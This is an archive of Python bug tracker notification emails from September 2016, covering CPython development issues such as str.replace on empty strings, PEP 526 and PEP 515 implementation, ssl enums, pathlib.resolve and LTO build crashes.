From report at bugs.python.org  Thu Sep  8 16:51:43 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Thu, 08 Sep 2016 20:51:43 +0000
Subject: [issue28019] itertools.count() falls back to fast (integer) mode when
 step rounds to 1
In-Reply-To: <1473338912.37.0.468562809295.issue28019@psf.upfronthosting.co.za>
Message-ID: <1473367903.15.0.183835617835.issue28019@psf.upfronthosting.co.za>


Changes by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
assignee: rhettinger -> serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28019>
_______________________________________

From report at bugs.python.org  Thu Sep  8 16:54:18 2016
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Henriot?=)
Date: Thu, 08 Sep 2016 20:54:18 +0000
Subject: [issue28029] Replace and empty strings
In-Reply-To: <1473366641.62.0.989746465638.issue28029@psf.upfronthosting.co.za>
Message-ID: <1473368058.37.0.295307810774.issue28029@psf.upfronthosting.co.za>


St?phane Henriot added the comment:

Thanks for your help.

However, I'm not sure I would agree, regarding the correct behavior.

I guess the main question is ? What is an occurrence? ?.

Are you not convinced that in, count and find indicate occurrences?
To my understanding, the empty string occurs basically everywhere in strings (including beginning and end):

>>> "blabla".replace("", "?")
'?b?l?a?b?l?a?'

To give a bit more (useless?) context, I was implementing a GCD algorithm based on replacements by Knuth (very beginning of TAOCP) and it looks like the current cpython implementation gives 0 for gcd(1, 1) :(

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28029>
_______________________________________

From report at bugs.python.org  Thu Sep  8 16:58:52 2016
From: report at bugs.python.org (Eric N. Vander Weele)
Date: Thu, 08 Sep 2016 20:58:52 +0000
Subject: [issue28029] Replace and empty strings
In-Reply-To: <1473366641.62.0.989746465638.issue28029@psf.upfronthosting.co.za>
Message-ID: <1473368332.34.0.212802255644.issue28029@psf.upfronthosting.co.za>


Changes by Eric N. Vander Weele <ericvw at gmail.com>:


----------
nosy: +ericvw

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28029>
_______________________________________

From report at bugs.python.org  Thu Sep  8 16:59:20 2016
From: report at bugs.python.org (Eric Snow)
Date: Thu, 08 Sep 2016 20:59:20 +0000
Subject: [issue28030] Update the language reference for PEP 468.
Message-ID: <1473368360.47.0.302318700484.issue28030@psf.upfronthosting.co.za>


New submission from Eric Snow:

Doc/reference/compound_stmts.rst needs to be updated to reflect the changes from PEP 468.

----------
assignee: eric.snow
components: Documentation
messages: 275153
nosy: eric.snow
priority: normal
severity: normal
status: open
title: Update the language reference for PEP 468.
type: enhancement
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28030>
_______________________________________

From report at bugs.python.org  Thu Sep  8 17:02:27 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 21:02:27 +0000
Subject: [issue28030] Update the language reference for PEP 468.
In-Reply-To: <1473368360.47.0.302318700484.issue28030@psf.upfronthosting.co.za>
Message-ID: <20160908210154.21076.90300.92197440@psf.io>


Roundup Robot added the comment:

New changeset cdbc5ee744a1 by Eric Snow in branch 'default':
Issue #28030: Update the language reference for PEP 468.
https://hg.python.org/cpython/rev/cdbc5ee744a1

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28030>
_______________________________________

From report at bugs.python.org  Thu Sep  8 17:03:26 2016
From: report at bugs.python.org (Eric Snow)
Date: Thu, 08 Sep 2016 21:03:26 +0000
Subject: [issue28030] Update the language reference for PEP 468.
In-Reply-To: <1473368360.47.0.302318700484.issue28030@psf.upfronthosting.co.za>
Message-ID: <1473368606.64.0.360527120705.issue28030@psf.upfronthosting.co.za>


Changes by Eric Snow <ericsnowcurrently at gmail.com>:


----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28030>
_______________________________________

From report at bugs.python.org  Thu Sep  8 17:06:59 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 21:06:59 +0000
Subject: [issue28025] Use IntEnum and IntFlags in ssl module
In-Reply-To: <1473356149.55.0.656612529599.issue28025@psf.upfronthosting.co.za>
Message-ID: <1473368819.97.0.899927514045.issue28025@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Too bad, but the ugly variant will suffice.

>>> import ssl
>>> ctx = ssl.create_default_context()
>>> ctx.options
<Options.OP_ALL|OP_NO_SSLv3|OP_NO_SSLv2|OP_NO_COMPRESSION: 2197947391>
>>> ctx.verify_flags
<VerifyFlags.VERIFY_X509_TRUSTED_FIRST: 32768>
>>> ctx.verify_mode
<VerifyMode.CERT_REQUIRED: 2>

Latest patch: https://github.com/tiran/cpython/commits/feature/ssl_enum

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28025>
_______________________________________

From report at bugs.python.org  Thu Sep  8 17:15:29 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 21:15:29 +0000
Subject: [issue17602] mingw: default sys.path calculations for windows
 platforms
In-Reply-To: <1364760613.75.0.604084743865.issue17602@psf.upfronthosting.co.za>
Message-ID: <20160908211511.13046.1873.22071295@psf.io>


Roundup Robot added the comment:

New changeset 6142d2d3c471 by Steve Dower in branch 'default':
Issue #1602: Windows console doesn't input or print Unicode (PEP 528)
https://hg.python.org/cpython/rev/6142d2d3c471

----------
nosy: +python-dev
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17602>
_______________________________________

From report at bugs.python.org  Thu Sep  8 17:15:29 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 21:15:29 +0000
Subject: [issue1602] windows console doesn't print or input Unicode
In-Reply-To: <1197453390.87.0.813702844893.issue1602@psf.upfronthosting.co.za>
Message-ID: <20160908211511.13046.78713.6DEF20B3@psf.io>


Roundup Robot added the comment:

New changeset 6142d2d3c471 by Steve Dower in branch 'default':
Issue #1602: Windows console doesn't input or print Unicode (PEP 528)
https://hg.python.org/cpython/rev/6142d2d3c471

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue1602>
_______________________________________

From report at bugs.python.org  Thu Sep  8 17:18:27 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 08 Sep 2016 21:18:27 +0000
Subject: [issue28025] Use IntEnum and IntFlags in ssl module
In-Reply-To: <1473356149.55.0.656612529599.issue28025@psf.upfronthosting.co.za>
Message-ID: <1473369507.14.0.244397747687.issue28025@psf.upfronthosting.co.za>


Changes by STINNER Victor <victor.stinner at gmail.com>:


----------
nosy:  -haypo

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28025>
_______________________________________

From report at bugs.python.org  Thu Sep  8 17:18:35 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Thu, 08 Sep 2016 21:18:35 +0000
Subject: [issue27985] Implement PEP 526
In-Reply-To: <1473205727.01.0.952056443906.issue27985@psf.upfronthosting.co.za>
Message-ID: <1473369515.64.0.92360720286.issue27985@psf.upfronthosting.co.za>


Ivan Levkivskyi added the comment:

Guido,

I resolved merge conflicts in patch v4 (if it will complain, this could be because of graminit.c or importlib_external.h, just ignore those, they will be regenerated during build).

Please take a look and sorry for a delay.

----------
Added file: http://bugs.python.org/file44478/hg-pep-526-v4.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27985>
_______________________________________

From report at bugs.python.org  Thu Sep  8 17:24:18 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 08 Sep 2016 21:24:18 +0000
Subject: [issue28029] Replace and empty strings
In-Reply-To: <1473366641.62.0.989746465638.issue28029@psf.upfronthosting.co.za>
Message-ID: <1473369858.04.0.660028599865.issue28029@psf.upfronthosting.co.za>


STINNER Victor added the comment:

str.replace("", whatever) doesn't make sense. Why not raising an exception in this case?

----------
nosy: +haypo

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28029>
_______________________________________

From report at bugs.python.org  Thu Sep  8 17:25:02 2016
From: report at bugs.python.org (Senthil Kumaran)
Date: Thu, 08 Sep 2016 21:25:02 +0000
Subject: [issue28010] http.client.HTTPConnection.putrequest incorrect arguments
In-Reply-To: <1473291430.61.0.706860588682.issue28010@psf.upfronthosting.co.za>
Message-ID: <1473369902.05.0.767112238948.issue28010@psf.upfronthosting.co.za>


Senthil Kumaran added the comment:

This patch fixes this. It makes the documentation consistent with the code.

----------
keywords: +patch
nosy: +orsenthil
Added file: http://bugs.python.org/file44479/103351.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28010>
_______________________________________

From report at bugs.python.org  Thu Sep  8 17:25:28 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 21:25:28 +0000
Subject: [issue19500] Add client-side SSL session resumption
In-Reply-To: <1383624130.64.0.185541289049.issue19500@psf.upfronthosting.co.za>
Message-ID: <1473369928.36.0.181047041896.issue19500@psf.upfronthosting.co.za>


Christian Heimes added the comment:

This patch implements a workaround for OpenSSL 1.1.0.

----------
Added file: http://bugs.python.org/file44480/SSL-client-side-SSL-session-resumption.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue19500>
_______________________________________

From report at bugs.python.org  Thu Sep  8 17:26:07 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 08 Sep 2016 21:26:07 +0000
Subject: [issue28029] Replace and empty strings
In-Reply-To: <1473366641.62.0.989746465638.issue28029@psf.upfronthosting.co.za>
Message-ID: <1473369967.22.0.611421019211.issue28029@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Agreed with St?phane. Since count() returns 1, resulting string should contain 1 replacement.

Using regular expressions:

>>> re.sub('', 'x', '')
'x'
>>> re.sub('', 'x', '', 1)
'x'

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28029>
_______________________________________

From report at bugs.python.org  Thu Sep  8 17:27:19 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 08 Sep 2016 21:27:19 +0000
Subject: [issue27985] Implement PEP 526
In-Reply-To: <1473205727.01.0.952056443906.issue27985@psf.upfronthosting.co.za>
Message-ID: <1473370039.06.0.103701275605.issue27985@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

> Please take a look and sorry for a delay.

Ivan, I'll be the one merging the patch. Will be looking over it soon. I might fix some nits myself, so if it applies cleanly to the default branch and all tests pass - then I'll handle the rest.

Please also run the tests with -R3:3 (grammar/parser tests specifically)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27985>
_______________________________________

From report at bugs.python.org  Thu Sep  8 17:27:24 2016
From: report at bugs.python.org (Brett Cannon)
Date: Thu, 08 Sep 2016 21:27:24 +0000
Subject: [issue28031] Update pathlib.resolve() to match os.path.realpath()
Message-ID: <1473370044.02.0.0447755137182.issue28031@psf.upfronthosting.co.za>


New submission from Brett Cannon:

See https://mail.python.org/pipermail/python-ideas/2016-September/042203.html .

----------
components: Library (Lib)
messages: 275164
nosy: brett.cannon, serhiy.storchaka
priority: normal
severity: normal
status: open
title: Update pathlib.resolve() to match os.path.realpath()
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28031>
_______________________________________

From report at bugs.python.org  Thu Sep  8 17:27:56 2016
From: report at bugs.python.org (Brett Cannon)
Date: Thu, 08 Sep 2016 21:27:56 +0000
Subject: [issue26331] PEP 515: Tokenizer: allow underscores for grouping in
 numeric literals
In-Reply-To: <1455126624.48.0.163167904941.issue26331@psf.upfronthosting.co.za>
Message-ID: <1473370076.7.0.396631569586.issue26331@psf.upfronthosting.co.za>


Changes by Brett Cannon <brett at python.org>:


----------
priority: normal -> deferred blocker

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26331>
_______________________________________

From report at bugs.python.org  Thu Sep  8 17:28:07 2016
From: report at bugs.python.org (Chris Angelico)
Date: Thu, 08 Sep 2016 21:28:07 +0000
Subject: [issue27080] Implement the formatting part of PEP 515,
 '_' in numeric literals.
In-Reply-To: <1463863089.86.0.119019547094.issue27080@psf.upfronthosting.co.za>
Message-ID: <1473370087.17.0.993242012369.issue27080@psf.upfronthosting.co.za>


Chris Angelico added the comment:

Thanks Brett! Sounds like a plan.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27080>
_______________________________________

From report at bugs.python.org  Thu Sep  8 17:28:09 2016
From: report at bugs.python.org (Brett Cannon)
Date: Thu, 08 Sep 2016 21:28:09 +0000
Subject: [issue26331] PEP 515: Tokenizer: allow underscores for grouping in
 numeric literals
In-Reply-To: <1455126624.48.0.163167904941.issue26331@psf.upfronthosting.co.za>
Message-ID: <1473370089.62.0.276095354611.issue26331@psf.upfronthosting.co.za>


Changes by Brett Cannon <brett at python.org>:


----------
nosy: +ned.deily
priority: deferred blocker -> release blocker

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26331>
_______________________________________

From report at bugs.python.org  Thu Sep  8 17:28:15 2016
From: report at bugs.python.org (Brett Cannon)
Date: Thu, 08 Sep 2016 21:28:15 +0000
Subject: [issue28031] Update pathlib.resolve() to match os.path.realpath()
In-Reply-To: <1473370044.02.0.0447755137182.issue28031@psf.upfronthosting.co.za>
Message-ID: <1473370095.63.0.0128058762435.issue28031@psf.upfronthosting.co.za>


Changes by Brett Cannon <brett at python.org>:


----------
priority: normal -> deferred blocker

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28031>
_______________________________________

From report at bugs.python.org  Thu Sep  8 17:28:39 2016
From: report at bugs.python.org (Brett Cannon)
Date: Thu, 08 Sep 2016 21:28:39 +0000
Subject: [issue27080] Implement the formatting part of PEP 515,
 '_' in numeric literals.
In-Reply-To: <1463863089.86.0.119019547094.issue27080@psf.upfronthosting.co.za>
Message-ID: <1473370119.09.0.279184612302.issue27080@psf.upfronthosting.co.za>


Changes by Brett Cannon <brett at python.org>:


----------
nosy: +ned.deily
priority: normal -> release blocker

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27080>
_______________________________________

From report at bugs.python.org  Thu Sep  8 17:29:36 2016
From: report at bugs.python.org (Benjamin Peterson)
Date: Thu, 08 Sep 2016 21:29:36 +0000
Subject: [issue25856] The __module__ attribute of non-heap classes is not
 interned
In-Reply-To: <1450023464.36.0.165437491365.issue25856@psf.upfronthosting.co.za>
Message-ID: <1473370176.52.0.990522492687.issue25856@psf.upfronthosting.co.za>


Benjamin Peterson added the comment:

I think it's better not write into the type dict in a getter. You might just use PyUnicode_InternFromString every time.

FWIW, __name__ also has this behavior.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25856>
_______________________________________

From report at bugs.python.org  Thu Sep  8 17:30:13 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 21:30:13 +0000
Subject: [issue28010] http.client.HTTPConnection.putrequest incorrect arguments
In-Reply-To: <1473291430.61.0.706860588682.issue28010@psf.upfronthosting.co.za>
Message-ID: <20160908212951.21237.14152.E94C4E57@psf.io>


Roundup Robot added the comment:

New changeset f6b62cf4a436 by Senthil Kumaran in branch '3.5':
Issue28010 - Make http.client.HTTPConnection.putrequest documentation consistent with the code.
https://hg.python.org/cpython/rev/f6b62cf4a436

New changeset 93c7a893f9b4 by Senthil Kumaran in branch 'default':
[merge from 3.5] - Issue28010 - Make http.client.HTTPConnection.putrequest
https://hg.python.org/cpython/rev/93c7a893f9b4

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28010>
_______________________________________

From report at bugs.python.org  Thu Sep  8 17:30:29 2016
From: report at bugs.python.org (R. David Murray)
Date: Thu, 08 Sep 2016 21:30:29 +0000
Subject: [issue28029] Replace and empty strings
In-Reply-To: <1473366641.62.0.989746465638.issue28029@psf.upfronthosting.co.za>
Message-ID: <1473370229.7.0.904493104406.issue28029@psf.upfronthosting.co.za>


R. David Murray added the comment:

Victor: because it would break backward compatibility to raise an error where one wasn't raised before.  There's not enough motivation for that.  I'm not sure about the 1 case; it would again be a change in behavior.  Probably we should just document it as there isn't enough reason to risk breaking working code.

----------
nosy: +r.david.murray

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28029>
_______________________________________

From report at bugs.python.org  Thu Sep  8 17:30:43 2016
From: report at bugs.python.org (Senthil Kumaran)
Date: Thu, 08 Sep 2016 21:30:43 +0000
Subject: [issue28010] http.client.HTTPConnection.putrequest incorrect arguments
In-Reply-To: <1473291430.61.0.706860588682.issue28010@psf.upfronthosting.co.za>
Message-ID: <1473370243.49.0.418216361575.issue28010@psf.upfronthosting.co.za>


Changes by Senthil Kumaran <senthil at uthcode.com>:


----------
resolution:  -> fixed
stage: needs patch -> resolved
status: open -> closed
versions: +Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28010>
_______________________________________

From report at bugs.python.org  Thu Sep  8 17:32:13 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Thu, 08 Sep 2016 21:32:13 +0000
Subject: [issue27985] Implement PEP 526
In-Reply-To: <1473205727.01.0.952056443906.issue27985@psf.upfronthosting.co.za>
Message-ID: <1473370333.34.0.371531098621.issue27985@psf.upfronthosting.co.za>


Ivan Levkivskyi added the comment:

Thank you Yury,

I usually do 

./python -m test -R : test___all__ test_dis test_grammar test_opcodes test_parser test_pydoc test_symtable test_tools test_typing

and then

./python -m test -j3 -u all

I just run tests with -R3:3 it also works.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27985>
_______________________________________

From report at bugs.python.org  Thu Sep  8 17:32:24 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 08 Sep 2016 21:32:24 +0000
Subject: [issue28031] Update pathlib.resolve() to match os.path.realpath()
In-Reply-To: <1473370044.02.0.0447755137182.issue28031@psf.upfronthosting.co.za>
Message-ID: <1473370344.42.0.0578061310172.issue28031@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Duplicate of issue19717?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28031>
_______________________________________

From report at bugs.python.org  Thu Sep  8 17:32:32 2016
From: report at bugs.python.org (Gregory P. Smith)
Date: Thu, 08 Sep 2016 21:32:32 +0000
Subject: [issue28032] --with-lto builds segfault in many situations
Message-ID: <1473370352.47.0.536997029042.issue28032@psf.upfronthosting.co.za>


New submission from Gregory P. Smith:

configure --with-optimizations is failing on the Debian --with-optimizations buildbot:

http://buildbot.python.org/all/builders/AMD64%20Debian%20PGO%203.x/builds/2448/steps/compile/logs/stdio

The compiled python is segfaulting when it goes to run the interpreter to build modules via setup.py.

this passes manually on ubuntu 16.04.  debian jessie 8.5 is failing here.  older gcc 4.9.2 toolchain.

i suspect --with-lto is not a good thing to enable by default everywhere.

configure.ac should be updated to exclude --with-lto in more situations than just Darwin.  we also know it doesn't work with clang as our configure and makefile are today.  so start with a conditional on gcc version being at least 5.4 (which is what ubuntu 16.04 ships with)?  or is it related to the binutils (ld) version when gcc is present?  or both.  LTO is a maze of twisty passages.

To lower this from "release blocker" we need to make --with-optimizations not enable --with-lto anywhere it is likely to fail.

----------
assignee: gregory.p.smith
messages: 275171
nosy: benjamin.peterson, gregory.p.smith, larry, ned.deily
priority: release blocker
severity: normal
status: open
title: --with-lto builds segfault in many situations
versions: Python 2.7, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28032>
_______________________________________

From report at bugs.python.org  Thu Sep  8 17:33:11 2016
From: report at bugs.python.org (Gregory P. Smith)
Date: Thu, 08 Sep 2016 21:33:11 +0000
Subject: [issue28032] --with-lto builds segfault in many situations
In-Reply-To: <1473370352.47.0.536997029042.issue28032@psf.upfronthosting.co.za>
Message-ID: <1473370391.94.0.0237352994583.issue28032@psf.upfronthosting.co.za>


Changes by Gregory P. Smith <greg at krypto.org>:


----------
nosy: +alecsandru.patrascu
stage:  -> needs patch
type:  -> crash

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28032>
_______________________________________

From report at bugs.python.org  Thu Sep  8 17:34:14 2016
From: report at bugs.python.org (Gregory P. Smith)
Date: Thu, 08 Sep 2016 21:34:14 +0000
Subject: [issue26359] CPython build options for out-of-the box performance
In-Reply-To: <1455445693.01.0.984013993837.issue26359@psf.upfronthosting.co.za>
Message-ID: <1473370454.33.0.708359284288.issue26359@psf.upfronthosting.co.za>


Gregory P. Smith added the comment:

see https://bugs.python.org/issue28032 for flaws with --with-optimizations builds.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26359>
_______________________________________

From report at bugs.python.org  Thu Sep  8 17:38:57 2016
From: report at bugs.python.org (Brett Cannon)
Date: Thu, 08 Sep 2016 21:38:57 +0000
Subject: [issue19717] resolve() fails when the path doesn't exist
In-Reply-To: <1385142353.37.0.842056066182.issue19717@psf.upfronthosting.co.za>
Message-ID: <1473370737.22.0.181178415926.issue19717@psf.upfronthosting.co.za>


Brett Cannon added the comment:

Guido has kept his opinion that it should resolve until the path no longer exists and then just stop: https://mail.python.org/pipermail/python-ideas/2016-September/042203.html

----------
nosy: +brett.cannon

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue19717>
_______________________________________

From report at bugs.python.org  Thu Sep  8 17:39:32 2016
From: report at bugs.python.org (Brett Cannon)
Date: Thu, 08 Sep 2016 21:39:32 +0000
Subject: [issue28031] Update pathlib.resolve() to match os.path.realpath()
In-Reply-To: <1473370044.02.0.0447755137182.issue28031@psf.upfronthosting.co.za>
Message-ID: <1473370772.46.0.718748271123.issue28031@psf.upfronthosting.co.za>


Brett Cannon added the comment:

Yep, it's a duplicate. I updated the other issue with the same link of Guido's decision.

----------
resolution:  -> duplicate
status: open -> closed
superseder:  -> resolve() fails when the path doesn't exist

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28031>
_______________________________________

From report at bugs.python.org  Thu Sep  8 17:39:35 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 08 Sep 2016 21:39:35 +0000
Subject: [issue25856] The __module__ attribute of non-heap classes is not
 interned
In-Reply-To: <1450023464.36.0.165437491365.issue25856@psf.upfronthosting.co.za>
Message-ID: <1473370775.53.0.183402098667.issue25856@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

This is what my first path does. But this slows down retrieving the __module__ attribute (from 0.2 usec to 0.4 usec on my computer). Maybe I haven't bother.

Interning __name__ and __qualname__ is less important, because different functions and classes usually have different names.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25856>
_______________________________________

From report at bugs.python.org  Thu Sep  8 17:39:40 2016
From: report at bugs.python.org (Brett Cannon)
Date: Thu, 08 Sep 2016 21:39:40 +0000
Subject: [issue19717] resolve() fails when the path doesn't exist
In-Reply-To: <1385142353.37.0.842056066182.issue19717@psf.upfronthosting.co.za>
Message-ID: <1473370780.65.0.948493866772.issue19717@psf.upfronthosting.co.za>


Changes by Brett Cannon <brett at python.org>:


----------
priority: normal -> deferred blocker

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue19717>
_______________________________________

From report at bugs.python.org  Thu Sep  8 17:42:50 2016
From: report at bugs.python.org (Benjamin Peterson)
Date: Thu, 08 Sep 2016 21:42:50 +0000
Subject: [issue25856] The __module__ attribute of non-heap classes is not
 interned
In-Reply-To: <1473370775.53.0.183402098667.issue25856@psf.upfronthosting.co.za>
Message-ID: <1473370967.1128543.720091273.279F71BF@webmail.messagingengine.com>


Benjamin Peterson added the comment:

I'm not too worried about slowing down __module__ especially since it's
not any slower for heap types or types in builtins.

On Thu, Sep 8, 2016, at 14:39, Serhiy Storchaka wrote:
> 
> Serhiy Storchaka added the comment:
> 
> This is what my first path does. But this slows down retrieving the
> __module__ attribute (from 0.2 usec to 0.4 usec on my computer). Maybe I
> haven't bother.
> 
> Interning __name__ and __qualname__ is less important, because different
> functions and classes usually have different names.
> 
> ----------
> 
> _______________________________________
> Python tracker <report at bugs.python.org>
> <http://bugs.python.org/issue25856>
> _______________________________________

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25856>
_______________________________________

From report at bugs.python.org  Thu Sep  8 17:45:24 2016
From: report at bugs.python.org (Antoine Pitrou)
Date: Thu, 08 Sep 2016 21:45:24 +0000
Subject: [issue28032] --with-lto builds segfault in many situations
In-Reply-To: <1473370352.47.0.536997029042.issue28032@psf.upfronthosting.co.za>
Message-ID: <1473371124.47.0.433542824301.issue28032@psf.upfronthosting.co.za>


Antoine Pitrou added the comment:

Can we just split --with-optimizations into --with-pgo and --with-lto, and let users choose whichever combination they want?

----------
nosy: +pitrou

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28032>
_______________________________________

From report at bugs.python.org  Thu Sep  8 17:46:18 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 21:46:18 +0000
Subject: [issue26020] set_display evaluation order doesn't match documented
 behaviour
In-Reply-To: <1452048141.82.0.22346371212.issue26020@psf.upfronthosting.co.za>
Message-ID: <20160908214614.59815.52277.FD84B8DB@psf.io>


Roundup Robot added the comment:

New changeset 0967531fc762 by Raymond Hettinger in branch '3.5':
Issue #26020:  Fix evaluation order for set literals
https://hg.python.org/cpython/rev/0967531fc762

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26020>
_______________________________________

From report at bugs.python.org  Thu Sep  8 17:49:17 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 08 Sep 2016 21:49:17 +0000
Subject: [issue27867] various issues due to misuse of PySlice_GetIndicesEx
In-Reply-To: <1472226685.15.0.242668202848.issue27867@psf.upfronthosting.co.za>
Message-ID: <1473371357.53.0.0477412359746.issue27867@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Yet one possible solution is to make slice constructor converting arguments to exact ints. This allows to leave user code unchanged. But this is 3.6-only solution of course. I would like to know Mark's thoughts on this.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27867>
_______________________________________

From report at bugs.python.org  Thu Sep  8 17:50:09 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 08 Sep 2016 21:50:09 +0000
Subject: [issue17394] Add slicing support to collections.deque
In-Reply-To: <1362972021.66.0.443403979058.issue17394@psf.upfronthosting.co.za>
Message-ID: <1473371409.92.0.196752402231.issue17394@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Ping.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17394>
_______________________________________

From report at bugs.python.org  Thu Sep  8 17:59:52 2016
From: report at bugs.python.org (mike bayer)
Date: Thu, 08 Sep 2016 21:59:52 +0000
Subject: [issue14976] queue.Queue() is not reentrant,
 so signals and GC can cause deadlocks
In-Reply-To: <1338540186.86.0.989988943379.issue14976@psf.upfronthosting.co.za>
Message-ID: <1473371992.46.0.907450479715.issue14976@psf.upfronthosting.co.za>


mike bayer added the comment:

SQLAlchemy suffered from this issue long ago as we use a Queue for connections, which can be collected via weakref callback and sent back to put(), which we observed can occur via gc.    For many years (like since 2007 or so) we've packaged a complete copy of Queue.Queue with an RLock inside of it to work around it.

I'm just noticing this issue because I'm writing a new connection pool implementation that tries to deal with this issue a little differently (not using Queue.Queue though).

----------
nosy: +zzzeek

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue14976>
_______________________________________

From report at bugs.python.org  Thu Sep  8 18:06:59 2016
From: report at bugs.python.org (Gregory P. Smith)
Date: Thu, 08 Sep 2016 22:06:59 +0000
Subject: [issue28032] --with-lto builds segfault in many situations
In-Reply-To: <1473370352.47.0.536997029042.issue28032@psf.upfronthosting.co.za>
Message-ID: <1473372419.05.0.292415458949.issue28032@psf.upfronthosting.co.za>


Gregory P. Smith added the comment:

That is effectively what this devolves to.  i'm going to try "gcc and gcc > 5.4" implies --with-lto as part of --with-optimizations for now.  but if that causes problems, i'll just remove the --with-lto implication from --with-optimizations entirely.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28032>
_______________________________________

From report at bugs.python.org  Thu Sep  8 18:16:49 2016
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Henriot?=)
Date: Thu, 08 Sep 2016 22:16:49 +0000
Subject: [issue28029] Replace and empty strings
In-Reply-To: <1473366641.62.0.989746465638.issue28029@psf.upfronthosting.co.za>
Message-ID: <1473373009.1.0.366647990251.issue28029@psf.upfronthosting.co.za>


St?phane Henriot added the comment:

I understand it might be a rather rare case.

Nevertheless, don't you think the inconsistency Serhiy pointed out makes it look like a bug needing a fix?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28029>
_______________________________________

From report at bugs.python.org  Thu Sep  8 18:24:03 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Thu, 08 Sep 2016 22:24:03 +0000
Subject: [issue27985] Implement PEP 526
In-Reply-To: <1473205727.01.0.952056443906.issue27985@psf.upfronthosting.co.za>
Message-ID: <1473373443.23.0.763980436377.issue27985@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

(I've renamed the patches so they line up with the numbering in the code review tool.)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27985>
_______________________________________

